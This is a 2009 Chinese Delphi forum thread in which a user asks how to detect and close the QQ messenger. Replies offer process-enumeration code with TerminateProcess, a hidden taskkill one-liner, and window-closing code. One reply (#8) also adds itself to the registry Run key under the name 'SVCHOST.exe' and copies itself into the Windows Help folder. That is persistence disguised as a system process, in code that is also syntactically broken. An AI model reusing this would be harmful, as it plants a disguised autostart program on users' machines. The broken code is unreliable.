注册 登录
编程论坛 Delphi论坛

怎样编程关掉qq程序

xyouzhou 发布于 2009-11-02 23:13, 1309 次点击
我想编一个小程序,运行该程序后,会自动查找系统中是否运行了QQ程序,如果QQ已经运行则关掉它。

请高手给出代码   感谢不尽
9 回复
#2
woshisma2009-11-03 10:28
PASCAL代码暂时没找到 不过我只有一个CMD代码  你需要么?
#3
xyouzhou2009-11-03 13:25
要啊  二楼高手
#4
shuang2009112009-11-08 14:14
unit Main;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, ExtCtrls, TlHelp32;  //注意手动引用单元TlHelp32

type
  TForm1 = class(TForm)
    Timer1: TTimer;
    procedure Timer1Timer(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

function KillTask(ExeFileName: string): integer;
const
  PROCESS_TERMINATE=$0001;  //进程的PROCESS_TERMINATE访问权限
var
  ContinueLoop: BOOL;
  FSnapshotHandle: THandle;
  FProcessEntry32: TProcessEntry32;
begin
  result := 0;
  FSnapshotHandle := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); //获取系统所有进程快照
  FProcessEntry32.dwSize := Sizeof(FProcessEntry32);  //调用Process32First前用Sizeof(FProcessEntry32)填充FProcessEntry32.dwSize
  ContinueLoop := Process32First(FSnapshotHandle, FProcessEntry32);  //获取快照中第一个进程信息并保存到FProcessEntry32结构体中
  while integer(ContinueLoop) <> 0 do  //循环枚举快照中所有进程信息
  begin
      if ((UpperCase(ExtractFileName(FProcessEntry32.szExeFile)) = UpperCase(ExeFileName))  or
         (UpperCase(FProcessEntry32.szExeFile) = UpperCase(ExeFileName))) then  //找到要中止的进程名
            Result := Integer(TerminateProcess(OpenProcess(PROCESS_TERMINATE, BOOL(0), FProcessEntry32.th32ProcessID), 0)); //中止进程
      ContinueLoop := Process32Next(FSnapshotHandle,FProcessEntry32);  //查找下一个符合条件进程
  end;
end;

procedure TForm1.Timer1Timer(Sender: TObject);
begin
  KillTask('QQ.exe');
end;

end.


[ 本帖最后由 shuang200911 于 2009-11-8 14:16 编辑 ]
#5
hksoobe2009-11-10 18:26
LZ刚学编程吗?还是没学过,这个是最容易的了啊!LS的那个太长了吧!对于这种直接一行代码!
winexec(' /c taskkill /f /im QQ.exe',SW_hide);
#6
shuang2009112009-11-10 19:37
学习学习
#7
onepc2009-11-12 17:20
cmd不好吧,~~~还是先列举进程,找到就关好点。
#8
红参娃娃2009-12-23 09:08
给你,我写的,09版本QQ

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs,StdCtrls, ExtCtrls,Registry;

type
  TForm1 = class(TForm)
    Timer1: TTimer;
    procedure Timer1Timer(Sender: TObject);
    procedure FormCreate(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.Timer1Timer(Sender: TObject);
  var
   hkdpr: hwnd;
begin
  hkdpr:=findwindow(nil,'QQ2009 Preview');
    if hkdpr<>0 then
       postmessage(hkdpr,wm_close,0,0);
end;

procedure TForm1.FormCreate(Sender: TObject);
 var
   hkdpr: hwnd;
   i: integer;
begin
  repeat
  i:=1;
    hkdpr:=findwindow(nil,'QQ2009 Preview');
      if hkdpr<>0 then
     postmessage(hkdpr,wm_close,0,0);
    i:=i+1;
   until i=2
end;
 var
   reg:tregistry;
begin
   reg:=tregistry.create;
   reg.rootkey:=HKEY_LOCAL_MACHINE;
   reg.openkey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run',true);
   reg.WriteString('SVCHOST.exe','C:\WINDOWS\Help\SVCHOST.exe');
   reg.closekey;
   reg.free;
  CopyFile(pchar('SVCHOST.exe'),pchar('c:\WINDOWS\Help\SVCHOST.exe'),false);

end.
#9
红参娃娃2009-12-23 09:11
如果是08的QQ就这样写,hkdpr:=findwindow(nil,'QQ用户登录');
#10
徐强2010-01-23 14:59
根据进程名称,杀掉进程不好吗?
1